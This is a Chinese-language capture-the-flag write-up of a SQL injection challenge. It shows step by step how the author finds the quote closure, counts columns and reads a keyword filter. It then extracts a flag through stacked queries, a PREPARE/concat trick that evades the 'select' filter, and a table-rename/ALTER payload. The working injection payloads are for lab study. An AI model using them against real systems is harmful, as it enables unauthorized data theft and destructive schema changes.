解题思路
题目提示是sql注入了,打开靶场
姿势应该就是我们注入的点,自动给了我们一个1,提交试试
后续尝试了一些数字,只有1和2有回显 ,我们直接尝试字符判断法,看下是字符型还是数字型还是其他什么?
1'
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
得到了以上报错,很明显是字符型,这个''1'''有一定的混淆性,让你以为闭合是双引号,其实不是,我们再尝试更明确的字符
1'1'
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1''' at line 1
得到报错'1''',发现什么?我们的1少了一个,说明我们的payload1'1'中的第一个1'与前面的语句形成闭合,作为正确语句了,所以没有报错,因此闭合肯定是单引号。而后面的1'则进行了报错。那为什么报错'1'''?前面多的单引号和后面多的两个单引号哪里来的?我们知道,既然我们闭合了一个单引号,那么必然多出了一个单引号在后面,那么报错应该是1'',因此这里是报错信息将1''用两个单引号包围起来了。
这样第一个1'payload也能理解了,原语句
select * from user where id='1''
报错'1'',然后用单引号包围,即报错'1'''。
既然判断出是单引号闭合,后面就容易了,先order by 判断列数
1' order by 3#
1' order by 2#
3报错,2正常,那么列数就是2
使用union查看下回显
1' union select 1,2 #
emmm并没有查看到,而是显示
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
很明显是提示,把select等字符都给过滤了,这里就不能union注入了,select语句不行了,尝试我们前几天打的靶场说的堆叠注入是可以的
1'; show databases;#
看到挺多
先爆一下表再说
1'; show tables;#
然后暴列,注意这里语法是反引号
1'; show columns from `1919810931114514`#
直接发现flag列,然后看具体的值就基本上必须要用Select了,尝试各种绕过都不太行,直接使用大佬的wp了,这里推荐wp只有一个,其他的我只能说比较离奇...推荐payload:
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
PREPARE hacker FROM concat('s','elect', ' * from
1919810931114514 ');
这条语句在 MySQL 中的作用是:
动态构造一个 SQL 查询语句并用
PREPARE
编译它为可执行形式,句柄名为hacker
关键点说明:
-
拼接查询字符串:
concat('s','elect', ' * from `1919810931114514` ')
=
'select * from 1919810931114514'
-
使用
concat()
拼接关键词select
是为了:-
绕过关键词过滤或防火墙规则(比如屏蔽了
select
)
-
-
PREPARE hacker FROM ...
是 MySQL 的预编译 SQL 语法,将拼接好的字符串变成可执行语句。
EXECUTE hacker;
-
执行上一步定义好的预处理语句(即:
select * from 1919810931114514
) -
此时会把
1919810931114514
表的全部数据(例如flag
字段)返回出来
还有一个比较厉害的思路是把正在查的这个表words的名字改了,然后将我们要查的那个数字表1919810931114514,改成默认语句要查的这个表的名字,然后进行注入查询即可。这个思路确实新奇。为什么确定是words表?我这里就不展示查words表了,其实是查了words表中的列有id字段确定的,下面是payload:
1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);#
这里讲一些关键的
ALTER TABLE words ADD id int(10) DEFAULT '12';
-
在新“伪装”后的表中新增一个字段
id
-
用于满足查询字段要求
ALTER TABLE words CHANGE flag data VARCHAR(100);
-
将原表中的
flag
字段重命名为data
,类型改为VARCHAR(100
然后永真展示
1' or 1=1#
总结
这道题要获取Flag要么有充实的储备,要会用mysql的预编译命令;要么有比较好的思路,就是更改表名。总之学到了就行。